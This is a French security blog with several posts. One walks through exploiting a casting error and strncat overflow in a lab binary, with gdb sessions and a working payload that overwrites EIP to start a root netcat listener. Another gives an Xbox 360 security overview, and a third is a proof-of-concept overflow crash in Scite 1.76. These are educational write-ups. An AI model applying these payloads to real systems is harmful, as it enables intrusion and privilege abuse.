2010/11/14

Erreur de Casting ou corruption de la stack en milieu hostile

Salut a tous .
Actuellement en formation réseau , je n'ai pas pu tenir toute mes promesses concernant ce blog , néanmoins ,
je vous propose a présent une petite exploitation en milieu hostile (avec SSP et ASLR).
 Notre objectif du jour sera ,comme souvent, la réécriture d'EIP , grace a un buffer overflow .

Pour ce faire nous exploiterons une faille de type «transtypage» ou «casting» ,puis nous redirigerons le flot d'exécution
en écrasant EIP grace a une erreur dans l'emploi de la fonction C strncat().
Tout d'abord précisons l'environnement de travail:
root[Casting_error]# uname -a && cat /proc/sys/kernel/randomize_va_space 
Linux zenwalk 2.6.33.4 #1 SMP PREEMPT Fri May 14 13:02:33 CEST 2010 i686 Intel(R) Pentium(R) 4
CPU 3.06GHz GenuineIntel GNU/Linux 
2 
A présent compilons le binaire de façon suffisament sure pour rentre cette exploitation intéréssante;
a quoi bon compiler et exploiter des binaires compilés avec -fno-stack-protector pour la énnième fois..
root[Casting_error]#gcc -Wall -Werror-o vuvu vuvu.c

(On remarquera au passage que malgré les arguments passés, GCC ne renvois aucun warnings lors de la compilation,
cela démontre que pour lui tout est correctement codé ('fin si on veux..) 
et que toute les fonctions sont utilisées selon les usages ) .
Lançons le afin de le tester un peu:
kmkz[Casting_error]# ./vuvu aaaaaaaaaa
Overflow attempt detected!

 Ok, passons aux choses sérieuses:
On remarque ici qu'il ne passe pas la condition , en effet , le code source indique que si argv[1] >= 64 ,
alors on affiche ce message et on quitte le programme.
Pourtant notre but sera d'accéder a la fonction «serveur» afin de le lancer malgré qu'il ne soit,en théorie, pas accéssible .
Comment faire?
Simple me direz-vous , dans un premier temps il faudra bypasser ce contrôle, voici comment on va procéder.
 Pour commencer on lui indiquera un nombre  inférieur  à 64  pour tester sa réaction: 
kmkz[Casting_error]$ ./vuvu `printf "63"``perl -e 'print "A"x82'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

kmkz[Casting_error]$ 
Bon , maintenant voyons voir comment le binaire réagit avec de l'hexa (on sait que  \x3f = 63 , donc \x40 = 64 ) 
on check :
kmkz[Casting_error]# ./vuvu `printf "\x40"``perl -e 'print "A"x82'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Overflow attempt detected!
Ici on voit bien que la tentative d'overflow échoue car la condition n'est pas vérifiée.
Essayons maintenant de bypasser ce controle avec une valeur telle que \x80 (-128) afin de déborder
et d'écraser EIP.
Pourquoi \x80?
Tout simplement une question de Bits :P .
 Il faut garder a l'esprit la vérification faites par la condition , sachant que le type attendu en 3eme argument
 qui est défini par le prototype de la fonction strncat() doit etre size_t ,soit unsigned int , un argument comme 
par exemple \x79 nous empècherait de bypasser ce test car les bits seraient alors organisés comme suit:
128 - 64 - 32 - 16 - 8 - 4 - 2 – 1 (Bits de l'octet)
   0      1     1     1    1    0   0    1 ( Bits)
cela renverrait alors une erreur car la valeur serait bien trop grande ! 
x80 quand a lui est un nombre négatif (de \xFF à \x80) et s'étend sur les 24 premiers Bits quand il est de type signé,
 néanmoins , lorsqu'il est utilisé dans strncat() il devient unsigned , ce qui signifie que les Bits passent a «1»
 lui donnant ainsi une valeur bien plus grande que 64 , du coup cela génère bien un overflow.

Allez , maintenant qu'on connait la théorie , place à la pratique :
kmkz[Casting_error]# ./vuvu `printf "\x80"``perl -e 'print "A"x760'` // 760 soyons fou ...
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Erreur de segmentation  <-- Intéréssant , on a pu enfin obtenir un segfault  :P
Allons voir ça de plus prés avec notre ami GDB:

(gdb) r `printf "\x80"``perl -e 'print "A"x82'`  //82 car c'est ici la limite du segfault
Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82
'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Regardons ce qui se passe au niveau du code assembleur et des registres : 
   ...
    0x08048580 <+106>:  movb   $0x0,-0x8(%ebp) 
   0x08048584 <+110>:   cmpb   $0x3f,-0x9(%ebp) 
   0x08048588 <+114>:   jle    0x80485ab <function_verif+149> 
---Type <return> to continue, or q <return> to quit--- 
   0x0804858a <+116>:   mov    0x80498e0,%eax 
   0x0804858f <+121>:   mov    %eax,%edx 
   0x08048591 <+123>:   mov    $0x8048758,%eax 
   ...
Plaçons quelques points d'arrêts pour pouvoir y voir plus clair:
(gdb) b *function_verif+114
Breakpoint 1 at 0x8048588
(gdb) b *function_verif+116
Breakpoint 7 at 0x804858a

Allez , let's go ! 
(gdb) r `printf "\x80"``perl -e 'print "A"x82 . "\00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `printf "\x80"``perl -e 'print "A"x82 . "\00"'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Breakpoint 1, 0x08048588 in function_verif ()

On fait un info registers:
(gdb) i r
eax            0x0      0                  --> le nullbyte de buff[0],(mov  $0x0,%eax)
ecx            0x1      1
edx            0xbffff23f       -1073745345
ebx            0x3f     63                 --> notre char initialisé à 64 (moins le nullbyte,soit 63) octets
esp            0xbffff1f0       0xbffff1f0
ebp            0xbffff248       0xbffff248
esi            0x0      0                  --> Nullbyte de buff[65]
edi            0xbffff23c       -1073745348
eip            0x8048588        0x8048588 <function_verif+114>

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x0      0                  --> le nullbyte de buff[0],(mov  $0x0,%eax)
ecx            0xffffff7f       -128       --> notre argument nécéssaire pour l'overflow (\x80)
edx            0xbffff24e       -1073745330
ebx            0x41414141       1094795585
esp            0xbffff250       0xbffff250
ebp            0x41414141       0x41414141
esi            0x0      0                  --> Nullbyte de buff[65]
edi            0x41414141       1094795585
eip            0x41414141       0x41414141

(gdb) i s
#0  0x41414141 in ?? ()
#1  0xbfff0041 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
Ici on se rend bien compte de l'overflowing de la stack, tentons a présent de l'exploiter mauellement puis 
a l'aide de l'exploit codé a cet effet. 

Exploitation via détournement de fonction (un ret-into_PLT serait a envisagé mais j'ai opté pour cette méthode
car elle ne nécéssite que peu de connaissance et est relativement simple a pratir du moment ou EIP est 
overwrité): 
objdump -d vuvu | grep serveur
080485d4 <serveur>:

Voilà , l'exploitation peu avoir lieu afin de lancer le serveur soit-disant inaccéssible contruison le avec l'adresse fixée précédemment.
 82-5 =77 Octets  soit 4 Octets pour l'offset de retour (fonction serveur), 1 pour notre argument hexadécimal et on ajoutera un NullByte 
pour la fin de string (non obligatoire ici , mais plus propre).
(gdb) r `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/kmkz/EXPLOITATION/Casting_error/vuvu `perl -e 'print "\x80" . "A"x77 . "\xd4\x85\x04\x08" . "\00"'`
[+] Welcome on Private Access Plateform (PAP) project
 [-] Server unrecheable , please contact the administrator 

Breakpoint 1, 0x08048588 in function_verif ()
(gdb) c
Continuing.
[+] Activating server on port : 6666 
Du coté du méchant hacker le serveur est bien lancé , vérifions son fonctionnement et ses droits au cas ou ..: 
...
tcp        0      0 *:6666                  *:*                     LISTEN      root       18892       2786/nc  
...
L'exploitation a bien fonctionné , voyons maintenant avec notre exploit .


Voilà , j'espère que cela vous donnera des idées simpa , 
il me reste plus qu'à vous dire a bientôt pour de nouvelles aventures.
\o>

Links:
Exploit   Binaire(source vuvu.c) Article PDF

2010/08/04

Xbox 360 Security : Chapter 1

Me revoila ;-) .

Depuis plusieurs mois , la 3LRVS avait debute des recherches sur la securite des consoles Xbox360.

Malheureusement , faute de temps et surtout de matos , nous avions mis de coté ces recherches , attendant de pouvoir avancer de façon plus "concrete".

C'est chose faite , la 3LRVS va reprendre du service \o/ , voila donc le moment opportunt pour vous proposer un article condensé sur l'architecture et les bases de la securite sur ce type de machines en attendant nos premiere trouvailles (enfin , espérons le :P ).

Let's go :

[*]Caractéristiques de l'architecture de la Xbox 360 :

- Processeur (XCPU Xenon):

PowerPC G5 d'IBM x64 3-cores cadence a 3.2Ghz (1,6 Ghz en reel) .

Multithreads (2 threads [SMT] par core : 1 en FPU + 1 en VMX)

192Mo de cache total en L1 (level 1 ) et 1Mo en L2 (mode utilisateur)

*Soit: 32Kb en cache (instructions) + 32Kb en cache (donnees) , en Level 1 (kernel mode).

- Memoire vive (RAM): 512 GDDR3 - 700 Mhz partagee avec le cpu Bande passante de 21.6 Go/s

- Architecture : PPC Big Endian (IBM)

( http://fr.wikipedia.org/wiki/Xenon_(processeur) )

[*] Prerequis :

- FPU (Floating Point Unit) :

Est un processeur dédié spécialement conçu pour effectuer des opérations sur des nombres à virgule flottante

( http://fr.wikipedia.org/wiki/Unit%C3%A9_de_calcul_en_virgule_flottante )

- VMX: les VMX implémentent des instructions ternaires spécifiant deux registres source et un registre destination, ainsi qu’un registre de modification optionnel.

Ils sont utilisés notament dans le cadre d’additions ou de multiplications (ici étendu a 128 Bits) a raison de 2 cycles gérant 4 instructions chacun.

( http://fr.wikipedia.org/wiki/AltiVec )

- SIMD: le SIMD regroupe les deux coprocesseurs vectoriels VMX128 (similaires à AltiVec) avec 2 bancs de registres (128×128 bits) pour chaques coeurs.

- SMT (Symetric Material Thread):

Systeme de multi threads symétriques

(2 par coeurs soit 6 threads au total pour les jeux)

- eFuse :

Securite sur le bootloader permettant de tester la présence du firmware proprietaire .

Capacité: 768 bits -

Patche depuis la version (ou MaJ) kernel >= 4552 (afin d'eviter les downgrade , voir la partie "securite").

[+]Schema simplifié du processeur PowerPC (Xenon) d'IBM utilisé:


128 Registres:

Les 32 premiers mappés aux 32 registres(enregistreurs) qui existent dans la génération précédente

de processeurs PowerPC(pour la compatibilité binaire) .

A ce processeur triple coeur viennent s'ajouter les 2 coprocesseur vectoriels (relatif aux données) VMX128 (similaires à AltiVec) avec 2 bancs de registres (128×128 bit) pour chaque coeur.(VMX128 Bits doubles coeurs)

L'utilisateur a en outre la possibilité d'utiliser l'ensemble des registres normaux fournis par le PowerPC et les 32 registres vectoriels fournis par VMX de manière simultanée.

(jeu de 32 registres vectoriels 128 bits permettent alors de stocker 16 entiers 8 bits signés ou non signés, 8 entiers 16 bits signés ou non signés, 4 entiers 32 bits signés ou non signés ou bien 4 nombre réels 32-bit en virgule flottantes)

[*] Sécurité :

Les concepts de sécurité sont identiques à ceux définis sur l'architecture POWER (contrôle des accès au niveau des segments et des pages).

La séparation superviseur / utilisateur se fait au niveau des segments ou des blocs. Chaque processus utilisateur dispose de 16 segments dont deux sont réservés au noyau (accessible en mode superviseur).

À noter cependant qu'il est possible d'effectuer des accès à la mémoire qui ne supportent aucun contrôle. Il suffit pour cela de désactiver tous les mécanismes de traduction d'adresses.

ROM (et SRAM de 64 kbytes) contenant le programme de démarrage Secure Bootloader de Microsoft, et un Hyperviseur de cryptage pour générer des clés

de chiffrement aléatoire.

Ce meme Hyperviseur a pu permettre par exemple une exploitation

(il y en a eu d'autres, et d'autre sont a l'etude)

via une injection au travers de shaders de jeu (King Kong) , permettant ainsi d'executer du code arbitraire directement en mode kernel .

En effet , les vectors shaders utilises benefient d'un acces a la memoire non controles .

(Ce jeu utilise des shaders compilés avec Microsoft D3DX9 Shader Compiler 9.04.91.0000)

Pour ce faire , Crawler360 (la super crapule :P) a du convertir son code en shader puis developper un petit loader utilisable par le port de serie .

Malheureusement , les MaJ du kernel vers la version 4552 (ou superieure) bloquent les tentatives de Downgrades et donc l'exploitation de cette vulnerabilitee de l'Hyperviseur .

Neanmoins , d''autre exploitations de ce type restent a envisager (et font l'objet de recherche active) .

Voila , la petite presentation de la Xbox 360 est maintenant finie , j'espere que ça pourra servir a d'autres , n'hésitez pas a partager vos idées/trouvailles , c'est important .

See you ..

/--------------- RESSOURCES UTILES ---------------\

2010/08/01

flux now avaible

Salut a tous!

Etant donné que je compte balancer pas mal d'anneries ici dans les mois a venir, j'ai décidé de lancer mon flux afin de se tenir informé de l'activitée du blog .

Pour ceux que ça intéresse: link

A trés bientot ;-)

2010/07/05

[*] Scite Text Editor 1.76 PoC : Local BoF vulnerability ( 0 - Days )

Me revoila :P


Je sais que j'ai pas mal zappé ce blog depuis quelques mois , néanmoins j'espere pouvoir m'y remettre entre 2 CTF ..

Bref, osef d'ma vie , place a la présentation , certe rapide , mais néanmoins simpa (bien que trés trés incomplete ) du Buffer Overflow que j'ai eu l'occasion de
découvrir dans la version 1.76 de Scite text Editor .

L'environnement d'audit est un 2.6.31-22 , néanmoins , les essais effectués sur des versions antérieures donne d'autres résultats assez surprenant .
Cet article ne présentera qu'uniquement quelques dumps démontrant la vulnérabilité sans pour autant l'exploiter; l'exploitation aparaitra ici peu etre d'ici pas mal de temps , j'y reviendrait.


Place a quelques dumps issus de GNU gdb (GDB) 7.0

r `perl -e'print"A"x4096 . "\x90\x90\x90\x90"'`
Starting program: /usr/bin/scite `perl -e'print"A"x4096 . "\x90\x90\x90\x90"'`
[Thread debugging using libthread_db enabled]
*** buffer overflow detected ***: /usr/bin/scite terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0x9c7008]
/lib/tls/i686/cmov/libc.so.6[0x9c6040]

/lib/tls/i686/cmov/libc.so.6(__strcpy_chk+0x44)[0x9c53b4]

/usr/bin/scite[0x8082a71]
/usr/bin/scite[0x8083751]
/usr/bin/scite[0x805b59c]
/usr/bin/scite[0x8079382]
/usr/bin/scite[0x8070944]
/usr/bin/scite[0x805dc32]
/usr/bin/scite[0x805dd8a]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0x8fcb56]
/usr/bin/scite[0x8052d41]
======= Memory map: ========
00110000-0012b000 r-xp 00000000 08:01 146 /lib/ld-2.10.1.so
0012b000-0012c000 r--p 0001a000 08:01 146 /lib/ld-2.10.1.so
0012c000-0012d000 rw-p 0001b000 08:01 146 /lib/ld-2.10.1.so
0012d000-0012e000 r-xp 00000000 00:00 0 [vdso]
0012e000-004e6000 r-xp 00000000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004e6000-004e7000 ---p 003b8000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004e7000-004eb000 r--p 003b8000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004eb000-004ed000 rw-p 003bc000 08:01 262811 /usr/lib/libgtk-x11-2.0.so.0.1800.3
004ed000-004ef000 rw-p 00000000 00:00 0
004ef000-00581000 r-xp 00000000 08:01 262814 /usr/lib/libgdk-x11-2.0.so.0.1800.3
00581000-00583000 r--p 00092000 08:01 262814 /usr/lib/libgdk-x11-2.0.so.0.1800.3
00583000-00584000 rw-p 00094000 08:01 262814 /usr/lib/libgdk-x11-2.0.so.0.1800.3
00584000-0059f000 r-xp 00000000 08:01 263706 /usr/lib/libatk-1.0.so.0.2809.1
0059f000-005a0000 r--p 0001b000 08:01 263706 /usr/lib/libatk-1.0.so.0.2809.1
005a0000-005a1000 rw-p 0001c000 08:01 263706 /usr/lib/libatk-1.0.so.0.2809.1
005a1000-005b9000 r-xp 00000000 08:01 262816 /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3
005b9000-005ba000 r--p 00017000 08:01 262816 /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3
005ba000-005bb000 rw-p 00018000 08:01 262816 /usr/lib/libgdk_pixbuf-2.0.so.0.1800.3
005bb000-005c6000 r-xp 00000000 08:01 264322 /usr/lib/libpangocairo-1.0.so.0.2600.0
005c6000-005c7000 r--p 0000a000 08:01 264322 /usr/lib/libpangocairo-1.0.so.0.2600.0
005c7000-005c8000 rw-p 0000b000 08:01 264322 /usr/lib/libpangocairo-1.0.so.0.2600.0
005c8000-0060e000 r-xp 00000000 08:01 264320 /usr/lib/libpango-1.0.so.0.2600.0
0060e000-0060f000 r--p 00045000 08:01 264320 /usr/lib/libpango-1.0.so.0.2600.0
0060f000-00610000 rw-p 00046000 08:01 264320 /usr/lib/libpango-1.0.so.0.2600.0
00610000-00687000 r-xp 00000000 08:01 262362 /usr/lib/libcairo.so.2.10800.8
00687000-00689000 r--p 00076000 08:01 262362 /usr/lib/libcairo.so.2.10800.8
00689000-0068a000 rw-p 00078000 08:01 262362 /usr/lib/libcairo.so.2.10800.8
0068a000-006c6000 r-xp 00000000 08:01 263053 /usr/lib/libgobject-2.0.so.0.2200.3
006c6000-006c7000 r--p 0003b000 08:01 263053 /usr/lib/libgobject-2.0.so.0.2200.3
006c7000-006c8000 rw-p 0003c000 08:01 263053 /usr/lib/libgobject-2.0.so.0.2200.3
006c8000-006cb000 r-xp 00000000 08:01 263054 /usr/lib/libgmodule-2.0.so.0.2200.3
006cb000-006cc000 r--p 00002000 08:01 263054 /usr/lib/libgmodule-2.0.so.0.2200.3
006cc000-006cd000 rw-p 00003000 08:01 263054 /usr/lib/libgmodule-2.0.so.0.2200.3
006cd000-006cf000 r-xp 00000000 08:01 268014 /lib/tls/i686/cmov/libdl-2.10.1.so
006cf000-006d0000 r--p 00001000 08:01 268014 /lib/tls/i686/cmov/libdl-2.10.1.so
006d0000-006d1000 rw-p 00002000 08:01 268014 /lib/tls/i686/cmov/libdl-2.10.1.so
006d1000-006d5000 r-xp 00000000 08:01 263055 /usr/lib/libgthread-2.0.so.0.2200.3
006d5000-006d6000 r--p 00003000 08:01 263055 /usr/lib/libgthread-2.0.so.0.2200.3
006d6000-006d7000 rw-p 00004000 08:01 263055 /usr/lib/libgthread-2.0.so.0.2200.3
006d7000-006de000 r-xp 00000000 08:01 268027 /lib/tls/i686/cmov/librt-2.10.1.so
006de000-006df000 r--p 00006000 08:01 268027 /lib/tls/i686/cmov/librt-2.10.1.so
006df000-006e0000 rw-p 00007000 08:01 268027 /lib/tls/i686/cmov/librt-2.10.1.so
006e0000-00795000 r-xp 00000000 08:01 972 /lib/libglib-2.0.so.0.2200.3
00795000-00796000 r--p 000b4000 08:01 972 /lib/libglib-2.0.so.0.2200.3
00796000-00797000 rw-p 000b5000 08:01 972 /lib/libglib-2.0.so.0.2200.3
00797000-0087d000 r-xp 00000000 08:01 262987 /usr/lib/libstdc++.so.6.0.13
0087d000-00881000 r--p 000e6000 08:01 262987 /usr/lib/libstdc++.so.6.0.13
00881000-00882000 rw-p 000ea000 08:01 262987 /usr/lib/libstdc++.so.6.0.13
00882000-00889000 rw-p 00000000 00:00 0
00889000-008ad000 r-xp 00000000 08:01 268015 /lib/tls/i686/cmov/libm-2.10.1.so
008ad000-008ae000 r--p 00023000 08:01 268015 /lib/tls/i686/cmov/libm-2.10.1.so
008ae000-008af000 rw-p 00024000 08:01 268015 /lib/tls/i686/cmov/libm-2.10.1.so
008af000-008cb000 r-xp 00000000 08:01 546 /lib/libgcc_s.so.1
008cb000-008cc000 r--p 0001b000 08:01 546 /lib/libgcc_s.so.1
008cc000-008cd000 rw-p 0001c000 08:01 546 /lib/libgcc_s.so.1
008cd000-008e2000 r-xp 00000000 08:01 268025 /lib/tls/i686/cmov/libpthread-2.10.1.so
008e2000-008e3000 r--p 00014000 08:01 268025 /lib/tls/i686/cmov/libpthread-2.10.1.so
008e3000-008e4000 rw-p 00015000 08:01 268025 /lib/tls/i686/cmov/libpthread-2.10.1.so
008e4000-008e6000 rw-p 00000000 00:00 0
008e6000-00a24000 r-xp 00000000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a24000-00a25000 ---p 0013e000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a25000-00a27000 r--p 0013e000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a27000-00a28000 rw-p 00140000 08:01 265728 /lib/tls/i686/cmov/libc-2.10.1.so
00a28000-00a2b000 rw-p 00000000 00:00 0
00a2b000-00b55000 r-xp 00000000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b55000-00b56000 ---p 0012a000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b56000-00b57000 r--p 0012a000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b57000-00b59000 rw-p 0012b000 08:01 263622 /usr/lib/libX11.so.6.2.0
00b59000-00b5a000 rw-p 00000000 00:00 0
00b5a000-00b5c000 r-xp 00000000 08:01 263633 /usr/lib/libXcomposite.so.1.0.0
00b5c000-00b5d000 r--p 00001000 08:01 263633 /usr/lib/libXcomposite.so.1.0.0
00b5d000-00b5e000 rw-p 00002000 08:01 263633 /usr/lib/libXcomposite.so.1.0.0
00b5e000-00b60000 r-xp 00000000 08:01 263637 /usr/lib/libXdamage.so.1.1.0
00b60000-00b61000 rw-p 00001000 08:01 263637 /usr/lib/libXdamage.so.1.1.0
00b61000-00b65000 r-xp 00000000 08:01 263643 /usr/lib/libXfixes.so.3.1.0
00b65000-00b66000 r--p 00003000 08:01 263643 /usr/lib/libXfixes.so.3.1.0
00b66000-00b67000 rw-p 00004000 08:01 263643 /usr/lib/libXfixes.so.3.1.0
00b67000-00bfa000 r-xp 00000000 08:01 263056 /usr/lib/libgio-2.0.so.0.2200.3
00bfa000-00bfb000 r--p 00092000 08:01 263056 /usr/lib/libgio-2.0.so.0.2200.3
00bfb000-00bfc000 rw-p 00093000 08:01 263056 /usr/lib/libgio-2.0.so.0.2200.3
00bfc000-00bfd000 rw-p 00000000 00:00 0
00bfd000-00c24000 r-xp 00000000 08:01 264324 /usr/lib/libpangoft2-1.0.so.0.2600.0
Program received signal SIGABRT, Aborted.
0x0012d422 in __kernel_vsyscall ()

Screen


0x0012d000 // VDSO , ça peut etre utile dans le cas de certaines exploitation



(gdb) x/79s $eip
0x12d422 <>:
0x12d424: ".shstrtab"
0x12d42e: ".hash"
0x12d434: ".dynsym"
0x12d43c: ".dynstr"
0x12d444: ".gnu.version"
0x12d451: ".gnu.version_d"
0x12d460: ".note"
0x12d466: ".eh_frame_hdr"
0x12d474: ".eh_frame"
0x12d47e: ".dynamic"
0x12d487: ".data"
0x12d48d: ".text"
0x12d493: ""


Comme on peux le constater , le programme est stoppé brutalement suite a un débordement de tampon ,
essayons donc d'y voir plus clair :

(gdb) i stack
#0 0x0012d422 in __kernel_vsyscall ()
#1 0x009104d1 in *__GI_raise (sig=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:64
#2 0x00913932 in *__GI_abort () at abort.c:92
#3 0x00946fc5 in __libc_message (do_abort=2,
fmt=0xa0881d "*** %s ***: %s terminated\n")
at ../sysdeps/unix/sysv/linux/libc_fatal.c:189
#4 0x009c7008 in *__GI___fortify_fail (msg=0xa087c7 "buffer overflow detected")
at fortify_fail.c:32
#5 0x009c6040 in *__GI___chk_fail () at chk_fail.c:29
#6 0x009c536a in __strcat_chk (
dest=0xbfff4734 "/home/kmkz/0Days/Scite_1.76/", 'A' <_dl_fini>,
stack_end=0xbfffb51c) at libc-start.c:220
#14 0x08052d41 in ?? ()


(gdb) i auxv
32 AT_SYSINFO Special system info/entry points 0x12d420
33 AT_SYSINFO_EHDR System-supplied DSO's ELF header 0x12d000
16 AT_HWCAP Machine-dependent CPU capability hints 0xbfebf3ff
6 AT_PAGESZ System page size 4096
17 AT_CLKTCK Frequency of times() 100
3 AT_PHDR Program headers for program 0x8048034
4 AT_PHENT Size of program header entry 32
5 AT_PHNUM Number of program headers 9
7 AT_BASE Base address of interpreter 0x110000
8 AT_FLAGS Drapeaux 0x0
9 AT_ENTRY Entry point of program 0x8052d20
11 AT_UID Real user ID 1000
12 AT_EUID Effective user ID 1000
13 AT_GID Real group ID 1000
14 AT_EGID Effective group ID 1000
23 AT_SECURE Boolean, was exec setuid-like? 0

25 AT_RANDOM Address of 16 random bytes 0xbfffb66b --> allons voir ce cet offset contient

31 AT_EXECFN File name of executable 0xbfffffed "/usr/bin/scite"
15 AT_PLATFORM String identifying platform 0xbfffb67b "i686"
0 AT_NULL End of vector 0x0


(gdb) x/48x 0xbfffb66b
0xbfffb66b: 0x8a29b215 0x563d86b0 0xe525c77b 0x1a1921ee
0xbfffb67b: 0x36383669 0x00000000 0x00000000 0x7273752f
0xbfffb68b: 0x6e69622f 0x6963732f 0x41006574 0x41414141
0xbfffb69b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6ab: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6bb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6cb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6db: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6eb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb6fb: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb70b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffb71b: 0x41414141 0x41414141 0x41414141 0x41414141
...

Nos "A"

...

0xbffff66b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff67b: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff68b: 0x41414141 0x41414141 0x00414141 0x4942524f
0xbffff69b: 0x4f535f54 0x54454b43 0x3d524944 0x706d742f
0xbffff6ab: 0x62726f2f 0x6b2d7469 0x007a6b6d 0x5f485353
0xbffff6bb: 0x4e454741 0x49505f54 0x34313d44 0x47003033


#13 0x008fcb56 in __libc_start_main (main=0x805dca1, argc=2, ubp_av=0xbfffb524,
init=0x8106380, fini=0x8106370, rtld_fini=0x11dd20 <_dl_fini>,
stack_end=0xbfffb51c) at libc-start.c:220

Si on look a quelques offsets pret , on s'apperçois que nos \x41 se retrouve bien sur la stack (grace a stack_end et la ligne :

25 AT_RANDOM Address of 16 random bytes 0xbfffb66b ..... entre autre )


/* Début des \x41 a l'offset de fin de la stack +350 octets (soit 350 octets plus haut , la pile croit vers les adresses basses) */

On peux néanmoins déduire qu'il ne s'agit pas d'un cas classique de stack overflow ( et a priori EIP ne peut etre overwrité).
Une de mes "intuitions" me poussa donc a déposer un breakpoint sur l'offset correspondant au début de la section .dtors puis .ctors :

la .dtors ne donnant rien ...

breakpoint sur .ctors :

r
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/scite `perl -e'print"A"x4096'`
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x0810643b in ?? ()
crash a l'appel de la .ctors ??


J'avoue que je suis assez perplexe , et que l'exploitation ne sera pas des plus easy , mais d'autres pistes ont germés depuis ces dumps (ret into entre autre) ;-) et puis c'est tout l'intéret aprés tout .

J'espere que cette petite presentation de mon PoC concernant Scite 1.76 vous donnera envie de voir la suite (un jour peu etre qui sait ).

Link du PoC